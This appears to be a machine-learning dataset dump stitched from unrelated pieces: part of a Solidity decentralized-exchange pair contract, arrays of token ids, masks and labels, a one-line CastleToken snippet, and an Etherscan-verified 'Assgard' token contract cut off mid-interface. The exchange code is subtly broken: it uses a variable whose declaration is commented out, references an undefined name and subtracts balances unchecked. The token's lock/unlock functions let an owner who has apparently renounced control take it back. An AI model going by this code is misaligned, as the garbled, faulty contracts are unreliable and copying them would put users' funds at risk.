Event emit tokensBurned(amount, senderOwnerAddress); // Return the change initiatorAddress.transfer(0, true, 128); } //======================================== // function _mint(uint128 amount, address targetOwnerAddress, address notifyAddress, TvmCell body) private reserve { (address walletAddress, ) = _getWalletInit(targetOwnerAddress); // Event emit tokensMinted(amount, targetOwnerAddress); // Mint adds balance to root total supply _totalSupply += amount; ILiquidFTWallet(walletAddress).receiveTransfer{value: 0, flag: 128}(amount, addressZero, msg.sender, notifyAddress, body); } function mint(uint128 amount, address targetOwnerAddress, address notifyAddress, TvmCell body) public override onlyOwner reserve { _mint(amount, targetOwnerAddress, notifyAddress, body); } //======================================== // onBounce(TvmSlice slice) external { uint32 functionId = slice.decode(uint32); if (functionId == tvm.functionId(LiquidFTWallet.receiveTransfer)) { uint128 amount = slice.decode(uint128); _totalSupply -= amount; // We know for sure that initiator in "mint" process is RTW owner; _ownerAddress.transfer(0, true, 128); } } //======================================== // function getPairLiquidity() external view override returns (Symbol symbol1, Symbol symbol2, uint256 liquidity, uint8 decimals) { uint256 amount = _symbol1.balance * _symbol2.balance; uint8 dcmls = _symbol1.decimals + _symbol2.decimals; return (_symbol1, _symbol2, amount, dcmls); } //======================================== // function _getPairRatio(uint128 amount1, uint8 decimals1, uint128 amount2, uint8 decimals2) internal view returns (uint256, uint8) { // Empty if(amount1 == 0 || amount2 == 0) { return (0, 0); } uint256 ratio = amount1; uint8 decimals = _localDecimals + decimals2 - decimals1; ratio = ratio * uint256(10**uint256(_localDecimals)); ratio = ratio / uint256(amount2); return (ratio, decimals); } function getPairRatio(bool firstFirst) public view override returns (uint256, uint8) { Symbol symbol1 = firstFirst ? _symbol1 : _symbol2; Symbol symbol2 = firstFirst ? _symbol2 : _symbol1; return _getPairRatio(symbol1.balance, symbol1.decimals, symbol2.balance, symbol2.decimals); } //======================================== // function getUserLimbo(address ownerAddress) external override returns (uint128 amountSymbol1, uint128 amountSymbol2) { return(_limboSymbol1[ownerAddress], _limboSymbol2[ownerAddress]); } //======================================== // function setProviderFee(uint16 fee) external override onlyFactory reserve returnChange { _currentFee = fee; } //======================================== // TODO: add TvmCell size checks to prevent cell overflow function receiveNotification(uint128 amount, address senderOwnerAddress, address initiatorAddress, TvmCell body) external override reserve { require(msg.sender.isStdAddrWithoutAnyCast() && (msg.sender == _symbol1.addressTTW || msg.sender == _symbol2.addressTTW), ERROR_SYMBOL_ADDRESS_INVALID); TvmCell emptyBody; TvmSlice slice = body.toSlice(); if(slice.empty() || !walletsExist()) { // No body, return tokens back, we don't know what sender wanted ILiquidFTWallet(msg.sender).transfer{value: 0, flag: 128}(amount, senderOwnerAddress, initiatorAddress, addressZero, emptyBody); } else { uint8 operation = slice.decode(uint8); if(operation == uint8(OPERATION.SWAP)) { (uint128 price, uint16 slippage) = slice.decode(uint128, uint16); address addressRTW = (msg.sender == _symbol1.addressTTW ? _symbol1.addressRTW : _symbol2.addressRTW); swap(addressRTW, amount, senderOwnerAddress, initiatorAddress, price, slippage); } else if(operation == uint8(OPERATION.DEPOSIT_LIQUIDITY)) { // just deposit, update mappings if(msg.sender == _symbol1.addressTTW) { _limboSymbol1[senderOwnerAddress] += amount; } else if(msg.sender == _symbol2.addressTTW) { _limboSymbol2[senderOwnerAddress] += amount; } } else { // Invalid operation, return tokens back, we don't know what sender wanted ILiquidFTWallet(msg.sender).transfer{value: 0, flag: 128}(amount, senderOwnerAddress, initiatorAddress, addressZero, emptyBody); } } } //======================================== // function getPriceInternal(uint128 inputAmount, uint128 inputReserve, uint128 outputReserve) private view returns (uint128) { uint256 inputAmountWithFee = uint256(inputAmount) * (10000 - _currentFee); uint256 numerator = uint256(inputAmountWithFee) * uint256(outputReserve); uint256 denominator = uint256(inputReserve) * 10000 + uint256(inputAmountWithFee); return uint128(numerator / denominator); } //======================================== // function getPrice(address symbolSellRTW, uint128 amountToGive) public view override returns (uint128 price, uint8 decimals) { require(symbolSellRTW == _symbol1.addressRTW || symbolSellRTW == _symbol2.addressRTW, ERROR_RTW_ADDRESS_INVALID); Symbol symbolGet = (symbolSellRTW == _symbol1.addressRTW ? _symbol2 : _symbol1); // Symbol symbolGive = (symbolSellRTW == _symbol1.addressRTW ? _symbol1 : _symbol2); // uint128 tokensToBuy = getPriceInternal(amountToGive, symbolGive.balance, symbolGet.balance); return (tokensToBuy, symbolGet.decimals); } //======================================== // function swap(address symbolSellRTW, uint128 amount, address senderOwnerAddress, address initiatorAddress, uint128 price, uint16 slippage) internal { TvmCell emptyBody; Symbol symbolBuy = (symbolSellRTW == _symbol1.addressRTW ? _symbol2 : _symbol1); // Symbol symbolSell = (symbolSellRTW == _symbol1.addressRTW ? _symbol1 : _symbol2); // (uint128 currentPrice, ) = getPrice(symbolSellRTW, amount); uint128 difference = 0; if(price > currentPrice) { difference = 10000 - (currentPrice * 10000 / price); } else { difference = 10000 - (price * 10000 / currentPrice); } if(symbolBuy.balance > 0 && currentPrice < symbolBuy.balance && difference <= slippage) { // Send tokens if(symbolSellRTW == _symbol1RTW) { _symbol1.balance += amount; _symbol2.balance -= currentPrice; } else { _symbol2.balance += amount; _symbol1.balance -= currentPrice; } emit swapSucceeded(symbolBuy.addressRTW, currentPrice, amount, initiatorAddress); ILiquidFTWallet(symbolBuy.addressTTW).transfer{value: 0, flag: 128}(currentPrice, senderOwnerAddress, initiatorAddress, addressZero, emptyBody); } else { emit swapFailed(symbolSellRTW, amount, slippage, uint16(difference), initiatorAddress); // Swap failed, send unused tokens back ILiquidFTWallet(symbolSell.addressTTW).transfer{value: 0, flag: 128}(amount, senderOwnerAddress, initiatorAddress, addressZero, emptyBody); } } //======================================== // function depositLiquidity(uint128 amountSymbol1, uint128 amountSymbol2, uint16 slippage) external override reserve { require(amountSymbol1 >= _minimumDeposit && amountSymbol2 >= _minimumDeposit, ERROR_DEPOSIT_TOO_SMALL); // Omit decimals here because we know they are the same (uint256 currentRatio, uint8 ratioDecimals) = getPairRatio(true); (uint256 desiredRatio, ) = _getPairRatio(amountSymbol1, _symbol1.decimals, amountSymbol2, _symbol2.decimals); uint128 difference = 0; if(currentRatio > 0) { // Adjust deposit values if there's some slippage if(currentRatio > desiredRatio) { difference = 10000 - uint128(uint256(desiredRatio) * 10000 / uint256(currentRatio)); amountSymbol2 = uint128(uint256(amountSymbol2) * uint256(currentRatio) / 10000 / uint256(10 ** uint256(ratioDecimals))); } else { difference = 10000 - uint128(uint256(currentRatio) * 10000 / uint256(desiredRatio)); amountSymbol1 = uint128(uint256(amountSymbol1) * uint256(currentRatio) / 10000 / uint256(10 ** uint256(ratioDecimals))); } } if(difference <= slippage) { // Calculate LP tokens uint256 newLiquidity = 0; if(_symbol1.balance == 0) // If it's the first deposit { if(_localDecimals >= _symbol1.decimals) { newLiquidity = amountSymbol1 * 10**(uint256(_localDecimals - _symbol1.decimals)); } else { newLiquidity = amountSymbol1 / 10**(uint256(_symbol1.decimals - _localDecimals)); } } else { uint256 liquidityRatio = (uint256(_symbol1.balance) * 10**uint256(_localDecimals)) / amountSymbol1; newLiquidity = (uint256(_totalSupply) * 10**uint256(_localDecimals)) / liquidityRatio; } // Update values _symbol1.balance += amountSymbol1; _symbol2.balance += amountSymbol2; _limboSymbol1[msg.sender] -= amountSymbol1; _limboSymbol2[msg.sender] -= amountSymbol2; emit liquidityDeposited(amountSymbol1, amountSymbol2, msg.sender); // Mint TvmCell emptyBody; _mint(uint128(newLiquidity), msg.sender, addressZero, emptyBody); } else { emit liquidityFailed(amountSymbol1, amountSymbol2, slippage, uint16(difference), msg.sender); // Abort, do nothing, return change msg.sender.transfer(0, true, 128); } } //======================================== // function collectLiquidityLeftovers() external override { TvmCell emptyBody; if(_limboSymbol1[msg.sender] > 0) { ILiquidFTWallet(_symbol1.addressTTW).transfer{value: msg.value / 2, flag: 0}(_limboSymbol1[msg.sender], msg.sender, msg.sender, addressZero, emptyBody); delete _limboSymbol1[msg.sender]; } if(_limboSymbol2[msg.sender] > 0) { ILiquidFTWallet(_symbol2.addressTTW).transfer{value: 0, flag: 128}(_limboSymbol2[msg.sender], msg.sender, msg.sender, addressZero, emptyBody); delete _limboSymbol2[msg.sender]; } } } //================================================================================ //
========================================
function _createWallet(address ownerAddress, address notifyOnReceiveAddress, uint128 tokensAmount, uint128 value, uint16 flag) internal returns (address) { if(tokensAmount > 0) { } (address walletAddress, TvmCell stateInit) = _getWalletInit(ownerAddress); return walletAddress; }
888,106
[ 1, 4428, 1432, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 2640, 16936, 12, 2867, 3410, 1887, 16, 1758, 5066, 1398, 11323, 1887, 16, 2254, 10392, 2430, 6275, 16, 2254, 10392, 460, 16, 2254, 2313, 2982, 13, 2713, 1135, 261, 2867, 13, 203, 565, 288, 203, 3639, 309, 12, 7860, 6275, 405, 374, 13, 203, 3639, 288, 203, 3639, 289, 203, 540, 203, 3639, 261, 2867, 9230, 1887, 16, 399, 3489, 4020, 919, 2570, 13, 273, 389, 588, 16936, 2570, 12, 8443, 1887, 1769, 203, 203, 203, 3639, 327, 9230, 1887, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x3277ec1E95dC65e32e365A490b9E35842E4CAeF1/sources/src/CastleToken.sol
Remove the last token in the array
tokenPerUser[msg.sender].pop();
5,566,756
[ 1, 3288, 326, 1142, 1147, 316, 326, 526, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 7734, 1147, 2173, 1299, 63, 3576, 18, 15330, 8009, 5120, 5621, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-07-10 */ /** * Token Name: Assgard * Symbol Name: ASSG * Tax: 12% (6%-Liquidity / 1%-HOLDER / 2%-marketing / 3%-Development ) * Website: www.assgardtoken.com * SafeGard Suite: www.assgardtoken.app * Twitter: https://twitter.com/ASSGARDToken * Facebook: https://www.facebook.com/AssgardToken/ * Reddit: https://www.reddit.com/r/AssgardToken/ */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0 // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint 